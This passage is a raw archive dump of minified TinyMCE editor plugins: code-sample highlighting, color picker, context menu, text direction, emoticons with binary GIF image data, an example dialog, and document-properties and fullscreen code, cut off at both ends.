x[\da-f]*\.?[\da-fp\-]+\b|\b\d*\.?\d+(?:e[+-]?\d+)?[df]?\b/i,operator:{pattern:/(^|[^.])(?:\+[+=]?|-[-=]?|!=?|<<?=?|>>?>?=?|==?|&[&=]?|\|[|=]?|\*=?|\/=?|%=?|\^=?|[?:~])/m,lookbehind:!0}}),n.languages.php=n.languages.extend("clike",{keyword:/\b(and|or|xor|array|as|break|case|cfunction|class|const|continue|declare|default|die|do|else|elseif|enddeclare|endfor|endforeach|endif|endswitch|endwhile|extends|for|foreach|function|include|include_once|global|if|new|return|static|switch|use|require|require_once|var|while|abstract|interface|public|implements|private|protected|parent|throw|null|echo|print|trait|namespace|final|yield|goto|instanceof|finally|try|catch)\b/i,constant:/\b[A-Z0-9_]{2,}\b/,comment:{pattern:/(^|[^\\])(?:\/\*[\w\W]*?\*\/|\/\/.*)/,lookbehind:!0}}),n.languages.insertBefore("php","class-name",{"shell-comment":{pattern:/(^|[^\\])#.*/,lookbehind:!0,alias:"comment"}}),n.languages.insertBefore("php","keyword",{delimiter:/\?>|<\?(?:php)?/i,variable:/\$\w+\b/i,"package":{pattern:/(\\|namespace\s+|use\s+)[\w\\]+/,lookbehind:!0,inside:{punctuation:/\\/}}}),n.languages.insertBefore("php","operator",{property:{pattern:/(->)[\w]+/,lookbehind:!0}}),n.languages.markup&&(n.hooks.add("before-highlight",function(e){"php"===e.language&&(e.tokenStack=[],e.backupCode=e.code,e.code=e.code.replace(/(?:<\?php|<\?)[\w\W]*?(?:\?>)/gi,function(t){return
e.tokenStack.push(t),"{{{PHP"+e.tokenStack.length+"}}}"}))}),n.hooks.add("before-insert",function(e){"php"===e.language&&(e.code=e.backupCode,delete
e.backupCode)}),n.hooks.add("after-highlight",function(e){if("php"===e.language){for(var
t,r=0;t=e.tokenStack[r];r++)e.highlightedCode=e.highlightedCode.replace("{{{PHP"+(r+1)+"}}}",n.highlight(t,e.grammar,"php").replace(/\$/g,"$$$$"));e.element.innerHTML=e.highlightedCode}}),n.hooks.add("wrap",function(e){"php"===e.language&&"markup"===e.type&&(e.content=e.content.replace(/(\{\{\{PHP[0-9]+\}\}\})/g,'<span
class="token
php">$1</span>'))}),n.languages.insertBefore("php","comment",{markup:{pattern:/<[^?]\/?(.*?)>/,inside:n.languages.markup},php:/\{\{\{PHP[0-9]+\}\}\}/})),n.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0},string:/"""[\s\S]+?"""|'''[\s\S]+?'''|("|')(?:\\?.)*?\1/,"function":{pattern:/((?:^|\s)def[
\t]+)[a-zA-Z_][a-zA-Z0-9_]*(?=\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)[a-z0-9_]+/i,lookbehind:!0},keyword:/\b(?:as|assert|async|await|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|pass|print|raise|return|try|while|with|yield)\b/,"boolean":/\b(?:True|False)\b/,number:/\b-?(?:0[bo])?(?:(?:\d|0x[\da-f])[\da-f]*\.?\d*|\.\d+)(?:e[+-]?\d+)?j?\b/i,operator:/[-+%=]=?|!=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]|\b(?:or|and|not)\b/,punctuation:/[{}[\];(),.:]/},function(e){e.languages.ruby=e.languages.extend("clike",{comment:/#(?!\{[^\r\n]*?\}).*/,keyword:/\b(alias|and|BEGIN|begin|break|case|class|def|define_method|defined|do|each|else|elsif|END|end|ensure|false|for|if|in|module|new|next|nil|not|or|raise|redo|require|rescue|retry|return|self|super|then|throw|true|undef|unless|until|when|while|yield)\b/});var
t={pattern:/#\{[^}]+\}/,inside:{delimiter:{pattern:/^#\{|\}$/,alias:"tag"},rest:e.util.clone(e.languages.ruby)}};e.languages.insertBefore("ruby","keyword",{regex:[{pattern:/%r([^a-zA-Z0-9\s\{\(\[<])(?:[^\\]|\\[\s\S])*?\1[gim]{0,3}/,inside:{interpolation:t}},{pattern:/%r\((?:[^()\\]|\\[\s\S])*\)[gim]{0,3}/,inside:{interpolation:t}},{pattern:/%r\{(?:[^#{}\\]|#(?:\{[^}]+\})?|\\[\s\S])*\}[gim]{0,3}/,inside:{interpolation:t}},{pattern:/%r\[(?:[^\[\]\\]|\\[\s\S])*\][gim]{0,3}/,inside:{interpolation:t}},{pattern:/%r<(?:[^<>\\]|\\[\s\S])*>[gim]{0,3}/,inside:{interpolation:t}},{pattern:/(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\r\n])+\/[gim]{0,3}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0}],variable:/[@$]+[a-zA-Z_][a-zA-Z_0-9]*(?:[?!]|\b)/,symbol:/:[a-zA-Z_][a-zA-Z_0-9]*(?:[?!]|\b)/}),e.languages.insertBefore("ruby","number",{builtin:/\b(Array|Bignum|Binding|Class|Continuation|Dir|Exception|FalseClass|File|Stat|File|Fixnum|Fload|Hash|Integer|IO|MatchData|Method|Module|NilClass|Numeric|Object|Proc|Range|Regexp|String|Struct|TMS|Symbol|ThreadGroup|Thread|Time|TrueClass)\b/,constant:/\b[A-Z][a-zA-Z_0-9]*(?:[?!]|\b)/}),e.languages.ruby.string=[{pattern:/%[qQiIwWxs]?([^a-zA-Z0-9\s\{\(\[<])(?:[^\\]|\\[\s\S])*?\1/,inside:{interpolation:t}},{pattern:/%[qQiIwWxs]?\((?:[^()\\]|\\[\s\S])*\)/,inside:{interpolation:t}},{pattern:/%[qQiIwWxs]?\{(?:[^#{}\\]|#(?:\{[^}]+\})?|\\[\s\S])*\}/,inside:{interpolation:t}},{pattern:/%[qQiIwWxs]?\[(?:[^\[\]\\]|\\[\s\S])*\]/,inside:{interpolation:t}},{pattern:/%[qQiIwWxs]?<(?:[^<>\\]|\\[\s\S])*>/,inside:{interpolation:t}},{pattern:/("|')(#\{[^}]+\}|\\(?:\r?\n|\r)|\\?.)*?\1/,inside:{interpolation:t}}]}(n),n}),r("tinymce/codesampleplugin/Utils",[],function(){function
e(e){return
e&&"PRE"==e.nodeName&&e.className.indexOf("language-")!==-1}function
t(e){return function(t,n){return
e(n)}}return{isCodeSample:e,trimArg:t}}),r("tinymce/codesampleplugin/Dialog",["tinymce/dom/DOMUtils","tinymce/codesampleplugin/Utils","tinymce/codesampleplugin/Prism"],function(e,t,n){function
r(e){var
t=[{text:"HTML/XML",value:"markup"},{text:"JavaScript",value:"javascript"},{text:"CSS",value:"css"},{text:"PHP",value:"php"},{text:"Ruby",value:"ruby"},{text:"Python",value:"python"},{text:"Java",value:"java"},{text:"C",value:"c"},{text:"C#",value:"csharp"},{text:"C++",value:"cpp"}],n=e.settings.codesample_languages;return
n?n:t}function i(e,t,r){e.undoManager.transact(function(){var
i=o(e);r=l.encode(r),i?(e.dom.setAttrib(i,"class","language-"+t),i.innerHTML=r,n.highlightElement(i),e.selection.select(i)):(e.insertContent('<pre
id="__new"
class="language-'+t+'">'+r+"</pre>"),e.selection.select(e.$("#__new").removeAttr("id")[0]))})}function
o(e){var n=e.selection.getNode();return t.isCodeSample(n)?n:null}function
a(e){var t=o(e);return t?t.textContent:""}function s(e){var
t,n=o(e);return
n?(t=n.className.match(/language-(\w+)/),t?t[1]:""):""}var
l=e.DOM;return{open:function(e){e.windowManager.open({title:"Insert/Edit
code
sample",minWidth:Math.min(l.getViewPort().w,e.getParam("codesample_dialog_width",800)),minHeight:Math.min(l.getViewPort().h,e.getParam("codesample_dialog_height",650)),layout:"flex",direction:"column",align:"stretch",body:[{type:"listbox",name:"language",label:"Language",maxWidth:200,value:s(e),values:r(e)},{type:"textbox",name:"code",multiline:!0,spellcheck:!1,ariaLabel:"Code
view",flex:1,style:"direction: ltr; text-align:
left",classes:"monospace",value:a(e),autofocus:!0}],onSubmit:function(t){i(e,t.data.language,t.data.code)}})}}}),r("tinymce/codesampleplugin/Plugin",["tinymce/Env","tinymce/PluginManager","tinymce/codesampleplugin/Prism","tinymce/codesampleplugin/Dialog","tinymce/codesampleplugin/Utils"],function(e,t,n,r,i){var
o,a=i.trimArg;t.add("codesample",function(t,s){function l(){var
e,n=t.settings.codesample_content_css;t.inline&&o||!t.inline&&c||(t.inline?o=!0:c=!0,n!==!1&&(e=t.dom.create("link",{rel:"stylesheet",href:n?n:s+"/css/prism.css"}),t.getDoc().getElementsByTagName("head")[0].appendChild(e)))}var
c,u=t.$;e.ceFalse&&(t.on("PreProcess",function(e){u("pre[contenteditable=false]",e.node).filter(a(i.isCodeSample)).each(function(e,t){var
n=u(t),r=t.textContent;n.attr("class",u.trim(n.attr("class"))),n.removeAttr("contentEditable"),n.empty().append(u("<code></code>").each(function(){this.textContent=r}))})}),t.on("SetContent",function(){var
e=u("pre").filter(a(i.isCodeSample)).filter(function(e,t){return"false"!==t.contentEditable});e.length&&t.undoManager.transact(function(){e.each(function(e,r){u(r).find("br").each(function(e,n){n.parentNode.replaceChild(t.getDoc().createTextNode("\n"),n)}),r.contentEditable=!1,r.innerHTML=t.dom.encode(r.textContent),n.highlightElement(r),r.className=u.trim(r.className)})})}),t.addCommand("codesample",function(){var
e=t.selection.getNode();t.selection.isCollapsed()||i.isCodeSample(e)?r.open(t):t.formatter.toggle("code")}),t.addButton("codesample",{cmd:"codesample",title:"Insert/Edit
code
sample"}),t.on("init",l))})}),o(["tinymce/codesampleplugin/Prism","tinymce/codesampleplugin/Utils","tinymce/codesampleplugin/Dialog","tinymce/codesampleplugin/Plugin"])}(window);PKS��[ۓ����)tinymce/plugins/colorpicker/plugin.min.jsnu�[���tinymce.PluginManager.add("colorpicker",function(e){function
t(t,n){function r(e){var t=new
tinymce.util.Color(e),n=t.toRgb();o.fromJSON({r:n.r,g:n.g,b:n.b,hex:t.toHex().substr(1)}),i(t.toHex())}function
i(e){o.find("#preview")[0].getEl().style.background=e}var
o=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:n,onchange:function(){var
e=this.rgb();o&&(o.find("#r").value(e.r),o.find("#g").value(e.g),o.find("#b").value(e.b),o.find("#hex").value(this.value().substr(1)),i(this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var
e,t,n=o.find("colorpicker")[0];return
e=this.name(),t=this.value(),"hex"==e?(t="#"+t,r(t),void
n.value(t)):(t={r:o.find("#r").value(),g:o.find("#g").value(),b:o.find("#b").value()},n.value(t),void
r(t))}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){t("#"+this.toJSON().hex)}});r(n)}e.settings.color_picker_callback||(e.settings.color_picker_callback=t)});PKS��[J��bkk)tinymce/plugins/contextmenu/plugin.min.jsnu�[���tinymce.PluginManager.add("contextmenu",function(e){var
t,n,r=e.settings.contextmenu_never_use_native,i=function(e){return
e.ctrlKey&&!r},o=function(){return
tinymce.Env.mac&&tinymce.Env.webkit},a=function(){return
n===!0};return
e.on("mousedown",function(t){o()&&2===t.button&&!i(t)&&e.selection.isCollapsed()&&e.once("contextmenu",function(t){e.selection.placeCaretAt(t.clientX,t.clientY)})}),e.on("contextmenu",function(r){var
o;if(!i(r)){if(r.preventDefault(),o=e.settings.contextmenu||"link
openlink image inserttable | cell row column
deletetable",t)t.show();else{var a=[];tinymce.each(o.split(/[
,]/),function(t){var
n=e.menuItems[t];"|"==t&&(n={text:t}),n&&(n.shortcut="",a.push(n))});for(var
s=0;s<a.length;s++)"|"==a[s].text&&(0!==s&&s!=a.length-1||a.splice(s,1));t=new
tinymce.ui.Menu({items:a,context:"contextmenu",classes:"contextmenu"}).renderTo(),t.on("hide",function(e){e.control===this&&(n=!1)}),e.on("remove",function(){t.remove(),t=null})}var
l={x:r.pageX,y:r.pageY};e.inline||(l=tinymce.DOM.getPos(e.getContentAreaContainer()),l.x+=r.clientX,l.y+=r.clientY),t.moveTo(l.x,l.y),n=!0}}),{isContextMenuVisible:a}});PKS��[������,tinymce/plugins/directionality/plugin.min.jsnu�[���tinymce.PluginManager.add("directionality",function(e){function
t(t){var
n,r=e.dom,i=e.selection.getSelectedBlocks();i.length&&(n=r.getAttrib(i[0],"dir"),tinymce.each(i,function(e){r.getParent(e.parentNode,"*[dir='"+t+"']",r.getRoot())||(n!=t?r.setAttrib(e,"dir",t):r.setAttrib(e,"dir",null))}),e.nodeChanged())}function
n(e){var t=[];return tinymce.each("h1 h2 h3 h4 h5 h6 div
p".split("
"),function(n){t.push(n+"[dir="+e+"]")}),t.join(",")}e.addCommand("mceDirectionLTR",function(){t("ltr")}),e.addCommand("mceDirectionRTL",function(){t("rtl")}),e.addButton("ltr",{title:"Left
to
right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),e.addButton("rtl",{title:"Right
to
left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})});PKS��[/�bb-tinymce/plugins/emoticons/img/smiley-cool.gifnu�[���GIF89a�	�z��������\V��<�����N:8�����ѿ#[[W��Y#!��1��,//,�������
&
ɿb��A��_z`
����
!�,��'�Ui�cJR�qGBU*�ѣiOt`�B��e��]G�UZC�q�n	P@���~=@pL��Ax;d�@�~}{r}hr=
�������	���	E�%	
�
�4
��
A	�F	M)	DK	f�P����(�J;PKS��[\��II,tinymce/plugins/emoticons/img/smiley-cry.gifnu�[���GIF89a�..����P��2��!�����O����#��r��簗!ϻ��8��rX
�ž���{�ֵ�ưR>
�v���ʶj��������Z��j!�,��'�Xi�cJR#�@a*�	��y!d��Q�®�~0��pA�ƀ��<�+��
fPer�>z��ြX���c��|�
�%�
����%��q	���	%
	

	
\�	�	{
A�9;=�#�݄��5���N!;PKS��[95j�KK3tinymce/plugins/emoticons/img/smiley-embarassed.gifnu�[���GIF89a�*ļ�������L��TԿ(��
����A��T«!����:��l��:v[�w���X8�����7�d$�|(��*��=�غ��$��W°b��Q!�,��'�Ri�cJj�&�I*�!��8ʃt��d��U��n�	~$�bcA

ǂ@�h��\��T��@�• �L2AN&zxMv		
%��	�	�C�����������uy
%
���
]�
�
��#J;s�BQ��*���N!;PKS��[D}�VV6tinymce/plugins/emoticons/img/smiley-foot-in-mouth.gifnu�[���GIF89a�����Ɩ~��ʶj��
��
���MR:	��Zѽ��1mT��+��H����غ��oļ���O��'ª����6��0:"��
��6&
��7!�,@��'�Pi��x�6M1�C��]�Xbr��
�����x���d�0B&��j���21��E"�d��P�w��Q=5�
	9;b
E)sr#?
c9�,O��~
.	x�.
�+-���58�
\�
|�b�T�*��G���B;PKS��[6s�TT.tinymce/plugins/emoticons/img/smiley-frown.gifnu�[���GIF89a�A'��Ơ�����2ʶj��N�����Xν"��7hT��
��-��q��ZA
����غ��Gīļ�����7��Z��"������%x`��0!�,��'�Qi�cJJ�&�!E*Y0�8���ԡAA`&
���4��!�x<��đ0�"FU��$�Jc&%`..�cރ1�w~�bp
��������z
�r����r
x�%�	��]�
̘��
AKGP)�DN�5�����!;PKS��[G��tPP1tinymce/plugins/emoticons/img/smiley-innocent.gifnu�[���GIF89a�8*�˭���q˱���Z��U��쳏����� ��8wi٫��T���̵
�����q��N��*aK
�z����0��-��VھB��2�u"!�,��'�Ri��x��eH�dbK,R=�ɣ����!�Q<6�Ph�'0�*����d��i;�pg��P:���t|NR
��RUR}			
�
�m�	_���Q���	�w����
�	���%����Q�S*
�P
8)�<MV�)#����#!;PKS��[V5�;RR-tinymce/plugins/emoticons/img/smiley-kiss.gifnu�[���GIF89a�R=����44�s��Yʶj���
��2���!��N�*����)��"��m��q������غ��>�9)ښļ���9��ֽ�)����Y!�,��'�Ti�cJV�s�RQ*Y!Ir�T�3!x�C�p#ʂ!X�׫���Q*��y$���0�.9@��8�n�H��5q}M		a}
�����
����{�
/
��H

�

J	�%	S�
\���A	HJP)�DN�5�����!;PKS��[x��WW1tinymce/plugins/emoticons/img/smiley-laughing.gifnu�[���GIF89a�¦2������������,��Nr^H��YҾë���jSļ�����G�غ�������q��7�uZ��Ӻ�.ʶj��2yc��1R=
��Z!�,@��'�Si��hHT��#O�I�8]�,��q��&�Ḛ��`�8A��(1.
�g�0�2N�BIp$���:�{���PW	���8s
		
E)sr#	��9�,
{�Q���
.�.	8+45����~�b��S�*���G\��J�;PKS��[�涓AA4tinymce/plugins/emoticons/img/smiley-money-mouth.gifnu�[���GIF89a�)�����¨"¬Q��nX6��R��j��1���>^*��
��n��9��$J3�s� ��V���Mw9ZF>2B�噚�6Ѿ&�ӿrx$�~���!�,��'�Ti�cJn��0�Q*I0��4����1���n�~(
�D>t�s�h8",n0f��!�$lw2*��ۑW�]Hm��%�x����%��D%o���pu���%
Q��Y
4
��#�����B
���*���N!;PKS��[K�~CC/tinymce/plugins/emoticons/img/smiley-sealed.gifnu�[���GIF89a����������	����ھ����R��I�����ͷ�����Jʶj��5��
��(��\���lU
�����N���û?��:��o��"�ֶR=��/!�,@��'�Si���Z�RT"�B-�8]�"p��&��fy�2�f�0N��b��N~#�a�4�����ɫ3wIՕ$r�O8o���n$�*?A9o,.�NZr.t�O7[,����
�][_x
;���E*
Q
�G
��)!;PKS��[�B�XX.tinymce/plugins/emoticons/img/smiley-smile.gifnu�[���GIF89a�y`��Ɩz��ʶj��2��N�����YнR=
����6hTī������غ��q��Gļ���.�����1��7��¦2��Z��&
��!�,@��'�Pi��x,�2��
go�1Beh��@�@RCB2�\�D�0!�&�x;���A9��B"A\�'Yظ�{�)X6�:<	0	F)sr#P:�,�
P�S��.
���+-0��59	6	~�	[bU�*���H��
;PKS��[��KRR2tinymce/plugins/emoticons/img/smiley-surprised.gifnu�[���GIF89a�����Ɲ�(����#ʶj��N���R;	��Z�&��2����,kS§����غ��7��o����7ļ�����F>"����R��X(ĸD!�,@��'�Pi��xh��:�T�i�]��<���r��
�D�*
�Da0B,���x�a1�
��f2�,4���wgQ=<5^�9;
�

	

E)sr#?		A9�,���+	.x�.	8+-�ς��5^��IZ3�aT�*�G���!;PKS��[�Ȥ�HH3tinymce/plugins/emoticons/img/smiley-tongue-out.gifnu�[���GIF89a�&
��Ɨ}���ʶj��#��N���Ҿ��XR=
���
��2��.�::nX��F��q����غ��Z�/'ļ���7�����1��"�RT!�,��'�Ti�cJV��4�QQ*Y4�2M
���aQ($H���@�(��D��h4U�$q�Q*��&���5���P\e
��ptE�9��*-aWW��

������xn���	�	�vE��
%�	
�
\����A-1N)��5�����!;PKS��[F�'QQ2tinymce/plugins/emoticons/img/smiley-undecided.gifnu�[���GIF89a�*��Ɗy��ʶj��%��N����YֺdN��2��
��-��G��q����غB/ê��9ļ�������YVC��7vb��ο$!�,��'�Qi�cJJF�
�!E*I4LA	���AId��#��8���A&���@�HU�D�������h��[�0��N��T�}	`r

������y	��
����tw�
�%��“�[�	��	AKGP)�DN�5�����!;PKS��[Ji�^^-tinymce/plugins/emoticons/img/smiley-wink.gifnu�[���GIF89a���)��Ɲ	����2ʶj��N��Y���dzP:��,����,u\��G����q����غ��ļ���6־�����2��Y����(
��:!�,@��'�Ri���0��Z�
�fk2JXe4J�P�HRC"��8=�#�0%�qt�WC�I�����$h�o¢P�4V6�:<
1
F)ts#@MB:�,

���	..�+-1��59�6��1	�	�w�*���H`@0��T!;PKS��[V�
PP-tinymce/plugins/emoticons/img/smiley-yell.gifnu�[���GIF89a�2���e����{��	��N��Y���ѿ(R4
��4�ʶj��+��3͎����nT<�غ��9�sJ��q��Hļ������ժ*lL§!�,��'�Ri�cJR�V�AI*�h�q]ǣ5���90�
��q
FC�LZ1���&�h�	�51�̢����Ir:�Eo����(*Ku	p�����E�����	�����r%R��9Z�	=��AKGO)�DM�5�����!;PKS��[Ir�i��'tinymce/plugins/emoticons/plugin.min.jsnu�[���tinymce.PluginManager.add("emoticons",function(e,t){function
n(){var e;return e='<table role="list"
class="mce-grid">',tinymce.each(r,function(n){e+="<tr>",tinymce.each(n,function(n){var
r=t+"/img/smiley-"+n+".gif";e+='<td><a
href="#" data-mce-url="'+r+'"
data-mce-alt="'+n+'" tabindex="-1"
role="option" aria-label="'+n+'"><img
src="'+r+'" style="width: 18px; height: 18px"
role="presentation"
/></a></td>'}),e+="</tr>"}),e+="</table>"}var
r=[["cool","cry","embarassed","foot-in-mouth"],["frown","innocent","kiss","laughing"],["money-mouth","sealed","smile","surprised"],["tongue-out","undecided","wink","yell"]];e.addButton("emoticons",{type:"panelbutton",panel:{role:"application",autohide:!0,html:n,onclick:function(t){var
n=e.dom.getParent(t.target,"a");n&&(e.insertContent('<img
src="'+n.getAttribute("data-mce-url")+'"
alt="'+n.getAttribute("data-mce-alt")+'"
/>'),this.hide())}},tooltip:"Emoticons"})});PKS��[Af���#tinymce/plugins/example/dialog.htmlnu�[���<!DOCTYPE
html>
<html>
<body>
	<h3>Custom dialog</h3>
	Input some text: <input id="content">
	<button
onclick="top.tinymce.activeEditor.windowManager.getWindows()[0].close();">Close
window</button>
</body>
</html>PKS��[�t���%tinymce/plugins/example/plugin.min.jsnu�[���tinymce.PluginManager.add("example",function(e,t){e.addButton("example",{text:"My
button",icon:!1,onclick:function(){e.windowManager.open({title:"Example
plugin",body:[{type:"textbox",name:"title",label:"Title"}],onsubmit:function(t){e.insertContent("Title:
"+t.data.title)}})}}),e.addMenuItem("example",{text:"Example
plugin",context:"tools",onclick:function(){e.windowManager.open({title:"TinyMCE
site",url:t+"/dialog.html",width:600,height:400,buttons:[{text:"Insert",onclick:function(){var
t=e.windowManager.getWindows()[0];e.insertContent(t.getContentWindow().document.getElementById("content").value),t.close()}},{text:"Close",onclick:"close"}]})}})});PKS��[���xII0tinymce/plugins/example_dependency/plugin.min.jsnu�[���tinymce.PluginManager.add("example_dependency",function(){},["example"]);PKS��[�,Z��&tinymce/plugins/fullpage/plugin.min.jsnu�[���tinymce.PluginManager.add("fullpage",function(e){function
t(){var t=n();e.windowManager.open({title:"Document
properties",data:t,defaults:{type:"textbox",size:40},body:[{name:"title",label:"Title"},{name:"keywords",label:"Keywords"},{name:"description",label:"Description"},{name:"robots",label:"Robots"},{name:"author",label:"Author"},{name:"docencoding",label:"Encoding"}],onSubmit:function(e){r(tinymce.extend(t,e.data))}})}function
n(){function t(e,t){var n=e.attr(t);return n||""}var
n,r,o=i(),a={};return
a.fontface=e.getParam("fullpage_default_fontface",""),a.fontsize=e.getParam("fullpage_default_fontsize",""),n=o.firstChild,7==n.type&&(a.xml_pi=!0,r=/encoding="([^"]+)"/.exec(n.value),r&&(a.docencoding=r[1])),n=o.getAll("#doctype")[0],n&&(a.doctype="<!DOCTYPE"+n.value+">"),n=o.getAll("title")[0],n&&n.firstChild&&(a.title=n.firstChild.value),u(o.getAll("meta"),function(e){var
t,n=e.attr("name"),r=e.attr("http-equiv");n?a[n.toLowerCase()]=e.attr("content"):"Content-Type"==r&&(t=/charset\s*=\s*(.*)\s*/gi.exec(e.attr("content")),t&&(a.docencoding=t[1]))}),n=o.getAll("html")[0],n&&(a.langcode=t(n,"lang")||t(n,"xml:lang")),a.stylesheets=[],tinymce.each(o.getAll("link"),function(e){"stylesheet"==e.attr("rel")&&a.stylesheets.push(e.attr("href"))}),n=o.getAll("body")[0],n&&(a.langdir=t(n,"dir"),a.style=t(n,"style"),a.visited_color=t(n,"vlink"),a.link_color=t(n,"link"),a.active_color=t(n,"alink")),a}function
r(t){function n(e,t,n){e.attr(t,n?n:void 0)}function
r(e){a.firstChild?a.insert(e,a.firstChild):a.append(e)}var
o,a,s,c,f,p=e.dom;o=i(),a=o.getAll("head")[0],a||(c=o.getAll("html")[0],a=new
d("head",1),c.firstChild?c.insert(a,c.firstChild,!0):c.append(a)),c=o.firstChild,t.xml_pi?(f='version="1.0"',t.docencoding&&(f+='
encoding="'+t.docencoding+'"'),7!=c.type&&(c=new
d("xml",7),o.insert(c,o.firstChild,!0)),c.value=f):c&&7==c.type&&c.remove(),c=o.getAll("#doctype")[0],t.doctype?(c||(c=new
d("#doctype",10),t.xml_pi?o.insert(c,o.firstChild):r(c)),c.value=t.doctype.substring(9,t.doctype.length-1)):c&&c.remove(),c=null,u(o.getAll("meta"),function(e){"Content-Type"==e.attr("http-equiv")&&(c=e)}),t.docencoding?(c||(c=new
d("meta",1),c.attr("http-equiv","Content-Type"),c.shortEnded=!0,r(c)),c.attr("content","text/html;
charset="+t.docencoding)):c&&c.remove(),c=o.getAll("title")[0],t.title?(c?c.empty():(c=new
d("title",1),r(c)),c.append(new
d("#text",3)).value=t.title):c&&c.remove(),u("keywords,description,author,copyright,robots".split(","),function(e){var
n,i,a=o.getAll("meta"),s=t[e];for(n=0;n<a.length;n++)if(i=a[n],i.attr("name")==e)return
void(s?i.attr("content",s):i.remove());s&&(c=new
d("meta",1),c.attr("name",e),c.attr("content",s),c.shortEnded=!0,r(c))});var
m={};tinymce.each(o.getAll("link"),function(e){"stylesheet"==e.attr("rel")&&(m[e.attr("href")]=e)}),tinymce.each(t.stylesheets,function(e){m[e]||(c=new
d("link",1),c.attr({rel:"stylesheet",text:"text/css",href:e}),c.shortEnded=!0,r(c)),delete
m[e]}),tinymce.each(m,function(e){e.remove()}),c=o.getAll("body")[0],c&&(n(c,"dir",t.langdir),n(c,"style",t.style),n(c,"vlink",t.visited_color),n(c,"link",t.link_color),n(c,"alink",t.active_color),p.setAttribs(e.getBody(),{style:t.style,dir:t.dir,vLink:t.visited_color,link:t.link_color,aLink:t.active_color})),c=o.getAll("html")[0],c&&(n(c,"lang",t.langcode),n(c,"xml:lang",t.langcode)),a.firstChild||a.remove(),s=new
tinymce.html.Serializer({validate:!1,indent:!0,apply_source_formatting:!0,indent_before:"head,html,body,meta,title,script,link,style",indent_after:"head,html,body,meta,title,script,link,style"}).serialize(o),l=s.substring(0,s.indexOf("</body>"))}function
i(){return new
tinymce.html.DomParser({validate:!1,root_name:"#document"}).parse(l)}function
o(t){function n(e){return e.replace(/<\/?[A-Z]+/g,function(e){return
e.toLowerCase()})}var
r,o,s,d,f=t.content,p="",m=e.dom;if(!t.selection&&!("raw"==t.format&&l||t.source_view&&e.getParam("fullpage_hide_in_source_view"))){0!==f.length||t.source_view||(f=tinymce.trim(l)+"\n"+tinymce.trim(f)+"\n"+tinymce.trim(c)),f=f.replace(/<(\/?)BODY/gi,"<$1body"),r=f.indexOf("<body"),r!=-1?(r=f.indexOf(">",r),l=n(f.substring(0,r+1)),o=f.indexOf("</body",r),o==-1&&(o=f.length),t.content=f.substring(r+1,o),c=n(f.substring(o))):(l=a(),c="\n</body>\n</html>"),s=i(),u(s.getAll("style"),function(e){e.firstChild&&(p+=e.firstChild.value)}),d=s.getAll("body")[0],d&&m.setAttribs(e.getBody(),{style:d.attr("style")||"",dir:d.attr("dir")||"",vLink:d.attr("vlink")||"",link:d.attr("link")||"",aLink:d.attr("alink")||""}),m.remove("fullpage_styles");var
g=e.getDoc().getElementsByTagName("head")[0];p&&(m.add(g,"style",{id:"fullpage_styles"},p),d=m.get("fullpage_styles"),d.styleSheet&&(d.styleSheet.cssText=p));var
h={};tinymce.each(g.getElementsByTagName("link"),function(e){"stylesheet"==e.rel&&e.getAttribute("data-mce-fullpage")&&(h[e.href]=e)}),tinymce.each(s.getAll("link"),function(e){var
t=e.attr("href");return!t||(h[t]||"stylesheet"!=e.attr("rel")||m.add(g,"link",{rel:"stylesheet",text:"text/css",href:t,"data-mce-fullpage":"1"}),void
delete
h[t])}),tinymce.each(h,function(e){e.parentNode.removeChild(e)})}}function
a(){var t,n="",r="";return
e.getParam("fullpage_default_xml_pi")&&(n+='<?xml
version="1.0"
encoding="'+e.getParam("fullpage_default_encoding","ISO-8859-1")+'"
?>\n'),n+=e.getParam("fullpage_default_doctype","<!DOCTYPE
html>"),n+="\n<html>\n<head>\n",(t=e.getParam("fullpage_default_title"))&&(n+="<title>"+t+"</title>\n"),(t=e.getParam("fullpage_default_encoding"))&&(n+='<meta
http-equiv="Content-Type" content="text/html;
charset='+t+'"
/>\n'),(t=e.getParam("fullpage_default_font_family"))&&(r+="font-family:
"+t+";"),(t=e.getParam("fullpage_default_font_size"))&&(r+="font-size:
"+t+";"),(t=e.getParam("fullpage_default_text_color"))&&(r+="color:
"+t+";"),n+="</head>\n<body"+(r?'
style="'+r+'"':"")+">\n"}function
s(t){t.selection||t.source_view&&e.getParam("fullpage_hide_in_source_view")||(t.content=tinymce.trim(l)+"\n"+tinymce.trim(t.content)+"\n"+tinymce.trim(c))}var
l,c,u=tinymce.each,d=tinymce.html.Node;e.addCommand("mceFullPageProperties",t),e.addButton("fullpage",{title:"Document
properties",cmd:"mceFullPageProperties"}),e.addMenuItem("fullpage",{text:"Document
properties",cmd:"mceFullPageProperties",context:"file"}),e.on("BeforeSetContent",o),e.on("GetContent",s)});PKS��[�f��(tinymce/plugins/fullscreen/plugin.min.jsnu�[���tinymce.PluginManager.add("fullscreen",function(e){function
t(){var e,t,n=window,r=document,i=r.body;return
i.offsetWidth&&(e=i.offsetWidth,t=i.offsetHeight),n.innerWidth&&n.innerHeight&&(e=n.innerWidth,t=n.innerHeight),{w:e,h:t}}function
n(){var e=tinymce.DOM.getViewPort();return{x:e.x,y:e.y}}function
r(e){scrollTo(e.x,e.y)}function i(){function
i(){f.setStyle(g,"height",t().h-(m.clientHeight-g.clientHeight))}var
